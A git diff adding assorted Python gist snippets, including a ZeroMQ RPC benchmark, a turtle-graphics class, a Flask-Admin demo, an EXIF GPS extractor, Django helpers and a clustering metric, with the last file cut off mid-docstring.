+            item = self._estor[ekey]
+            return item[2]
+        expires = int(msg[1])
+        ekey = "%x%x" % (expires, uid)
+        assert ekey not in self._estor
+        event = Event()
+        item = (uid, expires, event)
+        self._estor[ekey] = item
+        self._kstor[uid] = ekey
+        return event
+
+    def stop(self):
+        """
+        Break run() at the next interval
+        """
+        self._stopevent.send(True)
+
+    def run(self, wakeup_interval=1):
+        """
+        Periodically check for expired messages.
+        """
+        stopevent = self._stopevent
+        while not stopevent.ready():
+            eventlet.sleep(wakeup_interval)
+            self.tick(unixtime())
+        ret = stopevent.wait()
+        stopevent.reset()
+        return ret
+
+    def tick(self, now=None):
+        """
+        Remove expired messages from the Tracker
+        """
+        if now is None:
+            now = unixtime()
+        for k, item in self._estor.items():
+            uid, expires, event = item
+            if expires > now:
+                break
+            del self._estor[k]
+            del self._kstor[uid]
+            event.send_exception(MessageTimeoutError())
+
+    def on_reply(self, msg):
+        """
+        Notify the tracker that we have recieved a message reply.
+        """
+        assert isinstance(msg, (tuple, list))
+        try:            
+            uid = msg[4]
+            ekey = self._kstor[uid]
+            item = self._estor[ekey]
+            del self._kstor[uid]
+            del self._estor[ekey]
+            is_error = msg[3]
+            response = msg[2]
+            if is_error:
+                item[2].send_exception(MessageError(response))
+            else:
+                item[2].send(response)            
+            return True
+        except KeyError:
+            pass
+        return False
+
+class ServerEndpoint(object):
+    __slots__ = ('_handlers', '_ctx', '_sock', '_stopevent')
+    def __init__(self, bind_addr, ctx=None):
+        self._handlers = {}
+        self._ctx = ctx or zmq.Context.instance()
+        self._sock = self._ctx.socket(zmq.XREP)
+        self._sock.bind(bind_addr)
+        self._stopevent = Event()
+
+    def register(self, name, what):
+        """
+        Register an API call with the server, clients will use the `name` to
+        call it.
+
+        `what` must be a callable object.
+        """
+        assert callable(what) is True
+        if name in self._handlers:
+            raise RuntimeError, "Function '%s' already registered" % (name,)
+        self._handlers[name] = what
+
+    def stop(self):
+        """
+        Notify run() to return at the earliest convenient time
+        """
+        self._stopevent.send(True)
+
+    def run(self):
+        """
+        Listen on the server socket and process incoming requests
+        """
+        sock = self._sock
+        handlers = self._handlers
+        stopevent = self._stopevent
+
+        while not stopevent.ready():
+            client_id, raw_msg = sock.recv_multipart()            
+            if raw_msg is None:
+                continue
+            msg = loads(raw_msg)
+            if not isinstance(msg, (list, tuple)) or len(msg) != 5:
+                continue
+            try:
+                if not isinstance(msg[0], (list, tuple)) or len(msg[0]) != 3:
+                    continue
+                name, args, kwargs = msg[0]                
+                if name not in handlers:
+                    msg = (msg[0], msg[1], 404, True, msg[4])
+                elif name[0] == '_':
+                    msg = (msg[0], msg[1], 400, True, msg[4])
+                else:
+                    handler = handlers[name]
+                    response = handler(*args, **kwargs)
+                    msg = (None, msg[1], response, False, msg[4])
+            except:
+                msg = (msg[0], msg[1], 500, True, msg[4])
+            sock.send_multipart([client_id, dumps(msg)])
+        stopevent.wait()
+        stopevent.reset()
+
+class AsyncFunctionProxy(object):
+    __slots__ = ('_name', '_client')
+    def __init__(self, name, client):
+        self._name = name
+        self._client = client
+
+    def __call__(self, *args, **kwargs):
+        """
+        :returns: eventlet Event to wait for result (or error)
+        """
+        msg = (self._name, args, kwargs)
+        return self._client.send(msg)
+
+class SyncFunctionProxy(AsyncFunctionProxy):
+    def __init__(self, name, client):
+        super(SyncFunctionProxy, self).__init__(name, client)
+
+    def __call__(self, *args, **kwargs):
+        return super(SyncFunctionProxy, self).__call__(*args, **kwargs).wait()
+
+class ClientEndpoint(object):
+    __slots__ = ('_ctx', '_sock', '_tracker', '_seq', '_stopevent')
+    def __init__(self, server_addr, ctx=None):
+        self._seq = 0
+        self._ctx = ctx or zmq.Context.instance()
+        self._sock = self._ctx.socket(zmq.XREQ)
+        if not isinstance(server_addr, (list, tuple)):
+            server_addr = [server_addr]
+        for addr in server_addr:
+            self._sock.connect(addr)
+        self._tracker = MessageTracker()  
+        self._stopevent = Event()
+
+    def send(self, args):
+        assert isinstance(args, (list, tuple))
+        self._seq += 1
+        msg = (args, 0xFFFFFFFF, None, None, self._seq)
+        self._sock.send(dumps(msg))
+        return self._tracker.track(msg)                
+
+    def run(self):
+        """
+        Listen for and process replies as they come in
+        """
+        stopevent = self._stopevent
+        sock = self._sock
+        tracker = self._tracker
+        eventlet.spawn_n(tracker.run)      
+        while not stopevent.ready():
+            raw_msg = sock.recv()
+            if raw_msg is not None:                
+                msg = loads(raw_msg)
+                if isinstance(msg, (list, tuple)):
+                    tracker.on_reply(msg)
+        ret = stopevent.wait()
+        stopevent.reset()
+        return ret
+
+    def stop(self):
+        """
+        Stop the run() method at the next convenient time.
+        """
+        self._stopevent.send(True)
+        self._tracker.stop()
+
+    def call(self, name, async=True):
+        """        
+        >>> client.call("ping")().wait() == "pong"
+
+        >>> client.call("ping", False) == "pong"
+
+        :param name: Name of remote method to call
+        :param async: Should calls be asynchronous
+        :returns: callable object
+        """
+        if async:
+            return AsyncFunctionProxy(name, self)
+        else:
+            return SyncFunctionProxy(name, self)
+
+    def asyncproxy(self, obj):
+        """
+        The same as proxy(), but each proxied method call will return an 
+        eventlet Event which will recieve the result or exception.
+        """
+        return self.proxy(obj, AsyncFunctionProxy)
+
+    def proxy(self, obj, proxyclass=SyncFunctionProxy):
+        """
+        Create a proxy object with the same callable methods as the given object
+        that can be used as a drop-in replacement.
+
+        All calls to proxied methods will be synchronous, blocking the callee
+        until a result or exception is ready.
+
+        :param obj: Object to proxy
+        :returns: Proxy object
+        """
+        methods = {}
+        for name, method in inspect.getmembers(obj, predicate=inspect.ismethod):
+            assert callable(method)
+            if name[0] == '_':
+                continue
+            methods[name] = proxyclass(name, self)
+        return type('RpcProxy', (object,), methods)
+
+class Impl(object):
+    def __init__(self):
+        self.cnt = 0
+
+    def ping(self, msg):
+        self.cnt += 1
+        return 2
+
+def main():    
+    server_addr = 'inproc://server'
+
+    impl = Impl()
+
+    #if run_server:
+    server = ServerEndpoint(server_addr)
+    server.register('ping', impl.ping)
+    eventlet.spawn(server.run)
+
+    client = ClientEndpoint(server_addr)
+    eventlet.spawn(client.run)
+
+    proxyobj = client.proxy(Impl)
+
+    iter_count = 10000
+    start_time = time.time()
+    i = 0
+    the_call = client.call("ping")
+    while 1:
+        waited = False
+        i += 1
+        if i > iter_count:
+            break
+        r = the_call("World")
+        if True or i % 1000 == 0:
+            waited = True
+            assert r.wait() == 2
+    if not waited:
+        r.wait()
+    end_time = time.time()
+    duration = end_time - start_time
+    print "%f seconds per call - %d calls per second" % (duration / iter_count, iter_count/duration)
+
+    client.stop()
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/5519057/._snippet.py b/hard-gists/5519057/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5519057/._snippet.py differ
diff --git a/hard-gists/5519057/snippet.py b/hard-gists/5519057/snippet.py
new file mode 100644
index 00000000..158417c0
--- /dev/null
+++ b/hard-gists/5519057/snippet.py
@@ -0,0 +1,171 @@
+# -*- coding: utf-8 -*-
+#
+# turtle.py - Turtle Class for Pythonista
+#
+# When run as a script, the following are demonstrated:
+# (a) multiple turtle instances illustrate turtle behaviors
+# (b) the classic Koch snowflake is drawn
+#
+# History:
+#		13-Apr-2013   DJValentino   created Turtle Class
+#
+# Credits:
+# 	Based upon the turtle graphic module written by OMZ:
+#   https://gist.github.com/omz/4413863
+# 
+# 
+# NOTE:
+# The methods implemented from the standard python Turtle Class are:
+# Command   Parameters     Description                    Status
+# Turtle     None           Creates a new turtle object		 DONE
+# forward    distance       Moves the turtle forward       DONE
+# backward   distance       Moves the turle backward       DONE
+# right      angle          Turns turtle by cw "ang" deg   DONE
+# left       angle          Turns turtle ccw               DONE
+# penup      None           Picks up the turtle's pen      DONE
+# pendown    None           Puts down the turtle's pen     DONE
+# setheading Angle          Sets curr heading to Angle     DONE (non-std)
+# heading    None           Returns curr heading in Deg    DONE
+# position   None           Returns current pos as (x,y)   DONE
+# goto       x,y            Move the turtle to x,y         DONE
+# color      r,g,b          Changes the color of the pen   DONE (non-std)
+# penwidth   int Width      Changes the width of the pen   DONE (non-std)
+# 
+ 
+from canvas import set_size, draw_rect, draw_line, set_stroke_color, set_line_width
+from math import sin, cos, pi
+from random import randint, random
+from time import sleep
+ 
+DELAY = 0.0
+
+def reset():
+		set_size(512, 512)
+		set_line_width(3)
+		set_stroke_color(0,0,0)
+		draw_rect(0, 0, 512, 512)
+		set_line_width(1)
+		set_stroke_color(0, 0, 1)
+		return True 
+
+def to_rad(deg):
+		return deg * pi/180.0
+
+class Turtle(object):
+	
+	def __init__(self):				
+		self.heading = 0.0
+		self.pos = (0, 0)
+		self.r_color = 0
+		self.g_color = 0
+		self.b_color = 0
+		self.pen_is_down = True
+		self.pen_width = 1
+				
+	def home(self):
+		self.heading = 0
+		self.pos = (0, 0)
+ 
+ 	# set the pen color
+ 	# currently, requires r,g,b values from 0.0 - 1.0
+ 	# (should accept text string, e.g., "red", "yellow", etc)
+ 	# (currently, lacking method to get the color)
+ 	def color(self, rd, gn, bl):
+ 		self.r_color = float(rd)
+ 		self.g_color = float(gn)
+ 		self.b_color = float(bl)
+ 
+ 	# set the pen width (currently, lacking method to get the width)
+ 	def penwidth( self, pw ):
+ 		self.pen_width = int(pw)
+ 
+ 	# get the current position (currently, set the pos using goto method)
+ 	def position(self):
+ 		return( self.pos )
+ 
+	def forward(self, distance):
+		sleep(DELAY)
+		to = (self.pos[0] + sin(self.heading) * distance, self.pos[1] + cos(self.heading) * distance)
+		if self.pen_is_down:
+			set_line_width(self.pen_width)
+			set_stroke_color(self.r_color, self.g_color, self.b_color)
+			draw_line(self.pos[0], self.pos[1], to[0], to[1])
+		self.pos = to
+ 
+	def backward(self, distance):
+		sleep(DELAY)
+		to = (self.pos[0] - sin(self.heading) * distance, self.pos[1] - cos(self.heading) * distance)
+		if self.pen_is_down:
+			set_line_width(self.pen_width)
+			set_stroke_color(self.r_color, self.g_color, self.b_color)
+			draw_line(self.pos[0], self.pos[1], to[0], to[1])
+		self.pos = to
+ 
+	def right(self, angle):
+		self.heading += to_rad(angle)
+ 
+	def left(self, angle):
+		self.heading -= to_rad(angle)
+ 
+	def goto(self, x, y):
+		self.pos = (x, y)
+ 
+	def setheading(self, angle):
+		self.heading = to_rad(angle)
+
+	def heading(self):
+		return self.heading
+ 
+	def pendown(self):
+		self.pen_is_down = True
+ 
+	def penup(self):
+		self.pen_is_down = False
+ 
+if __name__ == '__main__':
+	# reset the screen
+	reset()
+
+	# initialize a list of turtles
+	num_hatchlings = 10
+	
+	hatchling = [Turtle() for i in range(num_hatchlings)]
+	
+	for i in range(num_hatchlings):
+		# assign random colors and penwidth
+		hatchling[i].color( random(), random(), random() )
+		hatchling[i].penwidth( randint(1,3) )
+	
+		# randomly position and orient each turtle
+		hatchling[i].penup()
+		hatchling[i].goto( randint(100,400), randint(100,400) )
+		hatchling[i].setheading( randint(0,359) )
+		hatchling[i].pendown()
+
+	# randomly move the turtles using forward() and setheading()
+	# (currently, lacking boundary detection)
+	for move in range(100):
+		for i in range(num_hatchlings):
+			hatchling[i].forward( randint(5,10) )
+			hatchling[i].setheading( randint(0,359) )
+	
+	reset()
+	
+	#
+	# Draw the Koch snowflake using forward(), left() and right()
+	# (adapted by OMZ from http://commons.wikimedia.org/wiki/Koch_snowflake)
+	my_turtle = Turtle()
+	my_turtle.color(0, 0, 1)
+	my_turtle.goto(200, 100)
+	
+	koch_flake = 'FRFRF'
+	iterations = 5
+	for i in range(iterations):
+		koch_flake = koch_flake.replace('F', 'FLFRFLF')
+	for move in koch_flake:
+		if move == 'F':
+			my_turtle.forward(100.0 / (3 ** (iterations - 1)))
+		elif move == 'L':
+			my_turtle.left(60)
+		elif move == 'R':
+			my_turtle.right(120)
diff --git a/hard-gists/5520379/._snippet.py b/hard-gists/5520379/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5520379/._snippet.py differ
diff --git a/hard-gists/5520379/snippet.py b/hard-gists/5520379/snippet.py
new file mode 100644
index 00000000..7e17180b
--- /dev/null
+++ b/hard-gists/5520379/snippet.py
@@ -0,0 +1,42 @@
+from ghost import Ghost
+from functools import wraps
+
+def fix_redirect(func):
+    @wraps(func)
+    def wrapper(self, *args, **kwargs):
+        page, resources = func(self, *args, **kwargs)
+        if resources and 300 <= resources[0].http_status <= 399:
+            nextUrl = resources[0].headers['Location']
+            page, resources = self.open(nextUrl)
+        return page, resources
+    return wrapper
+
+class GhostRedirectFix(Ghost):
+    @fix_redirect
+    def open(self, *args, **kwargs):
+        return Ghost.open(self, *args, **kwargs)
+
+    @fix_redirect
+    def click(self, *args, **kwargs):
+        return Ghost.click(self, *args, **kwargs)
+
+    @fix_redirect
+    def evaluate(self, *args, **kwargs):
+        return Ghost.evaluate(self, *args, **kwargs)
+
+    @fix_redirect
+    def fill(self, *args, **kwargs):
+        return Ghost.fill(self, *args, **kwargs)
+
+    @fix_redirect
+    def fire_on(self, *args, **kwargs):
+        return Ghost.fire_on(self, *args, **kwargs)
+
+    @fix_redirect
+    def set_field_value(self, *args, **kwargs):
+        return Ghost.set_field_value(self, *args, **kwargs)
+
+    def find_elements_by_tag_name(self, tag):
+        return self.find_element_by_css_selector(tag)
+
+browser = GhostRedirectFix()
\ No newline at end of file
diff --git a/hard-gists/5521548/._snippet.py b/hard-gists/5521548/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5521548/._snippet.py differ
diff --git a/hard-gists/5521548/snippet.py b/hard-gists/5521548/snippet.py
new file mode 100644
index 00000000..e77ff3c1
--- /dev/null
+++ b/hard-gists/5521548/snippet.py
@@ -0,0 +1,76 @@
+from flask import Flask, request, url_for
+from flask.ext.sqlalchemy import SQLAlchemy
+
+from flask.ext.admin.contrib import sqlamodel
+from flask.ext import admin
+
+# Create application
+app = Flask(__name__)
+
+# Create dummy secrey key so we can use sessions
+app.config['SECRET_KEY'] = '123456790'
+
+# Create in-memory database
+app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///test.sqlite'
+app.config['SQLALCHEMY_ECHO'] = True
+db = SQLAlchemy(app)
+
+
+# Create models
+class Parent(db.Model):
+    id = db.Column(db.Integer, primary_key=True)
+    name = db.Column(db.String(120))
+
+    def __unicode__(self):
+        return self.name
+
+
+class Child(db.Model):
+    id = db.Column(db.Integer, primary_key=True)
+    name = db.Column(db.Unicode(64))
+
+    parent_id = db.Column(db.Integer(), db.ForeignKey(Parent.id), nullable=False)
+    parent = db.relationship(Parent, backref='children')
+
+    def __unicode__(self):
+        return self.name
+
+
+# Flask views
+@app.route('/')
+def index():
+    return '<a href="/admin/">Click me to get to Admin!</a>'
+
+
+# Customized Post model admin
+class ChildAdmin(sqlamodel.ModelView):
+    # Hook form creation methods
+    def create_form(self):
+        return self._use_filtered_parent(super(ChildAdmin, self).create_form())
+
+    def edit_form(self, obj):
+        return self._use_filtered_parent(super(ChildAdmin, self).edit_form(obj))
+
+    # Logic
+    def _use_filtered_parent(self, form):
+        form.parent.query_factory = self._get_parent_list
+        return form
+
+    def _get_parent_list(self):
+        return self.session.query(Parent).filter_by(name='test').all()
+
+
+if __name__ == '__main__':
+    # Create admin
+    a = admin.Admin(app, 'Simple Models')
+
+    # Add views
+    a.add_view(sqlamodel.ModelView(Parent, db.session))
+    a.add_view(ChildAdmin(Child, db.session))
+
+    # Create DB
+    db.create_all()
+
+    # Start app
+    app.debug = True
+    app.run('0.0.0.0', 8000)
diff --git a/hard-gists/5521734/._snippet.py b/hard-gists/5521734/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5521734/._snippet.py differ
diff --git a/hard-gists/5521734/snippet.py b/hard-gists/5521734/snippet.py
new file mode 100644
index 00000000..61270e12
--- /dev/null
+++ b/hard-gists/5521734/snippet.py
@@ -0,0 +1,131 @@
+"""
+Extract GPS coordinates and filename, output to CSV file
+Run this file from the same directory the images are in
+run using ./process_exif.py or python process_exif.py, or
+%run process_exif.py from an IPython instance
+
+Ensure you have PIL installed
+refer to http://www.exiv2.org/tags.html for a full detailed tag listing
+
+This is what the GPSInfo dict looks like for an iPhone 5 jpg:
+
+{
+    1: 'N', # latitude ref
+    2: ((51, 1), (3154, 100), (0, 1)), # latitude, rational degrees, mins, secs
+    3: 'W', # longitude ref
+    4: ((0, 1), (755, 100), (0, 1)), # longitude rational degrees, mins, secs
+    5: 0, # altitude ref: 0 = above sea level, 1 = below sea level
+    6: (25241, 397), # altitude, expressed as a rational number
+    7: ((12, 1), (16, 1), (3247, 100)), # UTC timestamp, rational H, M, S
+    16: 'T', # image direction when captured, T = true, M = magnetic
+    17: (145423, 418) # image direction in degrees, rational
+}
+
+"""
+
+import sys
+import ntpath
+import glob
+from itertools import chain
+from PIL.ExifTags import TAGS
+from PIL import Image
+import csv
+from datetime import datetime as dt
+
+
+def multiple_file_types(*patterns):
+    """ get around Python's lack of regex support in glob/iglob """
+    return chain.from_iterable(glob.iglob(pattern) for pattern in patterns)
+
+
+def path_leaf(path):
+    """ guaranteed filename from path; works on Win / OSX / *nix """
+    head, tail = ntpath.split(path)
+    return tail or ntpath.basename(head)
+
+
+def latlon(path):
+    """
+    returns a dict of lat, lon, alt, filename values, given
+    an input file path as string
+    example: latlong("path/to/file") or latlon(variable)
+    """
+    img = Image.open(path)
+    info = img._getexif()
+    filename = path_leaf(path)
+    # build a dict of decoded exif keys and values
+    decoded = dict((TAGS.get(key, key), value) for key, value in info.items())
+    info = {
+        "filename": filename,
+        "lat": None,
+        "lon": None,
+        "timestamp": None,
+        "altitude": None,
+    }
+    # ensure that this photo contains GPS data, or return an empty dict:
+    if not decoded.get('GPSInfo'):
+        return info
+    lat = [float(x) / float(y) for x, y in decoded['GPSInfo'][2]]
+    lon = [float(x) / float(y) for x, y in decoded['GPSInfo'][4]]
+    alt = float(decoded['GPSInfo'][6][0]) / float(decoded['GPSInfo'][6][1])
+    timestamp = decoded['DateTimeOriginal']
+    # assign values to dict
+    info['filename'] = filename
+    info['lat'] = (lat[0] + lat[1] / 60)
+    info['lon'] = (lon[0] + lon[1] / 60)
+    info['timestamp'] = dt.strptime(
+        timestamp,
+        "%Y:%m:%d %H:%M:%S").strftime("%Y/%m/%d %H:%M:%S")
+    info['altitude'] = alt
+    # corrections if necessary
+    if decoded['GPSInfo'][1] == "S":
+        info['lat'] *= -1
+    if decoded['GPSInfo'][3] == "W":
+        info['lon'] *= -1
+    # if we're below sea level, the value's negative
+    if decoded['GPSInfo'][5] == 1:
+        info['altitude'] *= -1
+    return info
+
+
+def write_csv():
+    """ coroutine for writing dicts to a CSV as rows """
+    header_written = False
+    # create a CSV writer object
+    with open("fileinfo.csv", "w") as f:
+        while True:
+            data = (yield)
+            # don't bother writing anything unless we have GPS data
+            if data['lat']:
+                dw = csv.DictWriter(f, sorted(data.keys()))
+                if not header_written:
+                    dw.writeheader()
+                    header_written = True
+                dw.writerow(data)
+
+"""
+Step 1 is a generator of all files matching the jpg/JPG/JPEG/jpeg pattern
+Step 2 attempts to extract Exif GPS data from the file, and returns a dict
+Step 3 is a coroutine, writing the dict to a CSV row if it contains GPS data
+"""
+# create a generator of all jpg files in the current dir
+print("Getting a list of all jpg files in the current dir...")
+# let's be absolutely sure we're getting everything that looks like a jpg
+images = multiple_file_types("*.jpg", "*.JPG", "*.jpeg", "*.JPEG")
+try:
+    # initialise a CSV writer coroutine
+    output = write_csv()
+    output.next()
+    # pipe each GPS-data-containing dict from the generator to the CSV writer
+    print("writing to CSV...")
+    [output.send(data) for data in (latlon(image) for image in images)]
+except IOError:
+    print(
+        """
+        There was a read/write error. Ensure that you have read and write
+        permissions for the current directory
+        """
+    )
+    sys.exit(1)
+print("And we're done.")
+output.close()
diff --git a/hard-gists/5527142/._snippet.py b/hard-gists/5527142/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5527142/._snippet.py differ
diff --git a/hard-gists/5527142/snippet.py b/hard-gists/5527142/snippet.py
new file mode 100644
index 00000000..2f1ae788
--- /dev/null
+++ b/hard-gists/5527142/snippet.py
@@ -0,0 +1,10 @@
+import astropy.units as u
+from astropy.coordinates import ICRSCoordinates
+from streams.coordinates import SgrCoordinates, OrphanCoordinates
+
+icrs = ICRSCoordinates(15.34167, 1.53412, unit=(u.hour, u.degree))
+sgr = icrs.transform_to(SgrCoordinates)
+print(sgr.Lambda, sgr.Beta)
+
+orp = sgr.transform_to(OrphanCoordinates)
+print(orp.Lambda, orp.Beta)
\ No newline at end of file
diff --git a/hard-gists/5534008/._snippet.py b/hard-gists/5534008/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5534008/._snippet.py differ
diff --git a/hard-gists/5534008/snippet.py b/hard-gists/5534008/snippet.py
new file mode 100644
index 00000000..b55467c2
--- /dev/null
+++ b/hard-gists/5534008/snippet.py
@@ -0,0 +1,13 @@
+# -*- coding: utf-8 -*-
+import datetime
+from south.db import db
+from south.v2 import DataMigration
+from django.db import models
+
+class Migration(DataMigration):
+
+    def forwards(self, orm):
+        db.execute('UPDATE auth_user SET password=CONCAT("bcrypt", SUBSTR(password, 3)) WHERE password LIKE "bc$%%"')
+
+    def backwards(self, orm):
+        db.execute('UPDATE auth_user SET password=CONCAT("bc", SUBSTR(password, 7)) WHERE password LIKE "bcrypt$%%"')
\ No newline at end of file
diff --git a/hard-gists/5536498/._snippet.py b/hard-gists/5536498/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5536498/._snippet.py differ
diff --git a/hard-gists/5536498/snippet.py b/hard-gists/5536498/snippet.py
new file mode 100644
index 00000000..26712100
--- /dev/null
+++ b/hard-gists/5536498/snippet.py
@@ -0,0 +1,94 @@
+import os
+import sys
+import logging
+
+
+# Turn logging down premptively.
+logging.getLogger("shotgun_api3").setLevel(logging.WARNING)
+
+
+import shotgun_api3
+
+
+_server_names = {
+    'production': 'https://production.shotgunstudio.com',
+    'testing': 'https://testing.shotgunstudio.com'
+}
+
+
+_registry = {
+    
+    # Production
+    'https://production.shotgunstudio.com': {
+    
+        None: ('any_script', 'xxx'),
+        'sgactions.deploy': ('sgactions.deploy', 'xxx'),
+        'sgactions.dispatch': ('sgactions.dispatch', 'xxx'),
+    
+    # Testing
+    }, 'https://testing.shotgunstudio.com': {
+        
+        None: ('Generic Script', 'xxx'),
+        'sgfs.tests': ('sgfs.tests', 'xxx'),
+        
+    }
+}
+
+
+def get_args(name=None, server=None, auto_name_stack_depth=0):
+    
+    # Get the module name that this was called from using stack frame magic.
+    if name is None and hasattr(sys, '_getframe'):
+        
+        try:
+            frame = sys._getframe(1 + auto_name_stack_depth)
+        
+        except ValueError:
+            pass
+        
+        else:
+            name = frame.f_globals.get('__name__')
+            
+            # Was run via `python -m <name>`; reconstruct.
+            if name == '__main__':
+                package = frame.f_globals.get('__package__')
+                file_name = frame.f_code.co_filename
+                base_name = file_name and os.path.splitext(os.path.basename(file_name))[0]
+                name = '.'.join(x for x in (package, base_name) if x) or None
+    
+    # Default to production.
+    if server is None:
+        server = 'production'
+        
+    # Convert server names into URLs
+    server = _server_names.get(server, server)
+    
+    try:
+        local_registry = _registry[server]
+    except KeyError:
+        raise KeyError('no %r registry' % server)
+    
+    args = None
+    if name is not None:
+        # Start at the most precise and keep going to the most general.
+        # E.g. 'a.b.c' will try 'a.b.c', then 'a.b', then 'a'.
+        chunks = name.split('.')
+        for end_i in xrange(len(chunks), 0, -1):
+            args = local_registry.get('.'.join(chunks[:end_i]))
+            if args:
+                break
+    
+    # Fall back onto default.
+    try:
+        args = args or local_registry[None]
+    except KeyError:
+        raise KeyError('no default in %r registry' % server)
+    
+    if sys.flags.verbose:
+        print '# %s.connect(...): %r -> %r' % (__package__, name, args)
+    
+    return (server, ) + tuple(args)
+
+
+def connect(*args, **kwargs):
+    return shotgun_api3.Shotgun(*get_args(*args, **kwargs), connect=False)
\ No newline at end of file
diff --git a/hard-gists/5540702/._snippet.py b/hard-gists/5540702/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5540702/._snippet.py differ
diff --git a/hard-gists/5540702/snippet.py b/hard-gists/5540702/snippet.py
new file mode 100644
index 00000000..319f0d1e
--- /dev/null
+++ b/hard-gists/5540702/snippet.py
@@ -0,0 +1,60 @@
+# coding=utf8
+
+import PIL
+from PIL import ImageFont
+from PIL import Image
+from PIL import ImageDraw
+
+def text2png(text, fullpath, color = "#000", bgcolor = "#FFF", fontfullpath = None, fontsize = 13, leftpadding = 3, rightpadding = 3, width = 200):
+	REPLACEMENT_CHARACTER = u'\uFFFD'
+	NEWLINE_REPLACEMENT_STRING = ' ' + REPLACEMENT_CHARACTER + ' '
+
+	#prepare linkback
+	linkback = "created via http://ourdomain.com"
+	fontlinkback = ImageFont.truetype('font.ttf', 8)
+	linkbackx = fontlinkback.getsize(linkback)[0]
+	linkback_height = fontlinkback.getsize(linkback)[1]
+	#end of linkback
+
+	font = ImageFont.load_default() if fontfullpath == None else ImageFont.truetype(fontfullpath, fontsize)
+	text = text.replace('\n', NEWLINE_REPLACEMENT_STRING)
+
+	lines = []
+	line = u""
+
+	for word in text.split():
+		print word
+		if word == REPLACEMENT_CHARACTER: #give a blank line
+			lines.append( line[1:] ) #slice the white space in the begining of the line
+			line = u""
+			lines.append( u"" ) #the blank line
+		elif font.getsize( line + ' ' + word )[0] <= (width - rightpadding - leftpadding):
+			line += ' ' + word
+		else: #start a new line
+			lines.append( line[1:] ) #slice the white space in the begining of the line
+			line = u""
+
+			#TODO: handle too long words at this point
+			line += ' ' + word #for now, assume no word alone can exceed the line width
+
+	if len(line) != 0:
+		lines.append( line[1:] ) #add the last line
+
+	line_height = font.getsize(text)[1]
+	img_height = line_height * (len(lines) + 1)
+
+	img = Image.new("RGBA", (width, img_height), bgcolor)
+	draw = ImageDraw.Draw(img)
+
+	y = 0
+	for line in lines:
+		draw.text( (leftpadding, y), line, color, font=font)
+		y += line_height
+
+	# add linkback at the bottom
+	draw.text( (width - linkbackx, img_height - linkback_height), linkback, color, font=fontlinkback)
+
+	img.save(fullpath)
+
+#show time
+text2png(u"This is\na\ntest şğıöç zaa xd ve lorem hipster", 'test.png', fontfullpath = "font.ttf")
\ No newline at end of file
diff --git a/hard-gists/5544335/._snippet.py b/hard-gists/5544335/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5544335/._snippet.py differ
diff --git a/hard-gists/5544335/snippet.py b/hard-gists/5544335/snippet.py
new file mode 100644
index 00000000..48eeea5a
--- /dev/null
+++ b/hard-gists/5544335/snippet.py
@@ -0,0 +1,41 @@
+import uuid
+
+from django import template
+from django.template.base import Token, TOKEN_BLOCK
+
+register = template.Library()
+
+
+class MapNode(template.Node):
+    def __init__(self, var_name, tag, list):
+        self.var_name = var_name
+        self.tag = tag
+        self.list = template.Variable(list)
+
+    def render(self, context):
+        res = []
+
+        context.push()
+        for i in self.list.resolve(context):
+            context[self.var_name] = i
+            res.append(self.tag.render(context))
+        context.pop()
+
+        return ''.join(res)
+
+
+@register.tag
+def map(parser, token):
+    _, tag_name, list = token.split_contents()
+
+    var_name = uuid.uuid4().hex
+    fake_token = Token(TOKEN_BLOCK, '%s %s' % (tag_name, var_name))
+    tag = parser.tags[tag_name](parser, fake_token)
+    return MapNode(var_name, tag, list)
+
+
+# {% map include list_of_templates %}
+# {# is like ... #}
+# {% for template in list_of_templates %}
+#   {% include template %}
+# {% endfor %}
diff --git a/hard-gists/5544803/._snippet.py b/hard-gists/5544803/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5544803/._snippet.py differ
diff --git a/hard-gists/5544803/snippet.py b/hard-gists/5544803/snippet.py
new file mode 100644
index 00000000..9cdc4f1c
--- /dev/null
+++ b/hard-gists/5544803/snippet.py
@@ -0,0 +1,462 @@
+""" Unsupervised evaluation metrics. """
+
+# License: BSD Style.
+
+from itertools import combinations
+import numpy as np
+
+from sklearn.utils import check_random_state
+from sklearn.metrics.pairwise import distance_metrics
+from sklearn.metrics.pairwise import pairwise_distances
+from sklearn.externals.joblib import Parallel, delayed
+
+
+def silhouette_score_slow(X, labels, metric='euclidean', sample_size=None,
+                          random_state=None, **kwds):
+    """Compute the mean Silhouette Coefficient of all samples.
+
+    This method is computationally expensive compared to the reference one.
+
+    The Silhouette Coefficient is calculated using the mean intra-cluster
+    distance (a) and the mean nearest-cluster distance (b) for each sample.
+    The Silhouette Coefficient for a sample is ``(b - a) / max(a, b)``.
+    To clarrify, b is the distance between a sample and the nearest cluster
+    that b is not a part of.
+
+    This function returns the mean Silhoeutte Coefficient over all samples.
+    To obtain the values for each sample, use silhouette_samples
+
+    The best value is 1 and the worst value is -1. Values near 0 indicate
+    overlapping clusters. Negative values generally indicate that a sample has
+    been assigned to the wrong cluster, as a different cluster is more similar.
+
+    Parameters
+    ----------
+    X : array [n_samples_a, n_features]
+        Feature array.
+
+    labels : array, shape = [n_samples]
+        label values for each sample
+
+    metric : string, or callable
+        The metric to use when calculating distance between instances in a
+        feature array. If metric is a string, it must be one of the options
+        allowed by metrics.pairwise.pairwise_distances. If X is the distance
+        array itself, use "precomputed" as the metric.
+
+    sample_size : int or None
+        The size of the sample to use when computing the Silhouette
+        Coefficient. If sample_size is None, no sampling is used.
+
+    random_state : integer or numpy.RandomState, optional
+        The generator used to initialize the centers. If an integer is
+        given, it fixes the seed. Defaults to the global numpy random
+        number generator.
+
+    `**kwds` : optional keyword parameters
+        Any further parameters are passed directly to the distance function.
+        If using a scipy.spatial.distance metric, the parameters are still
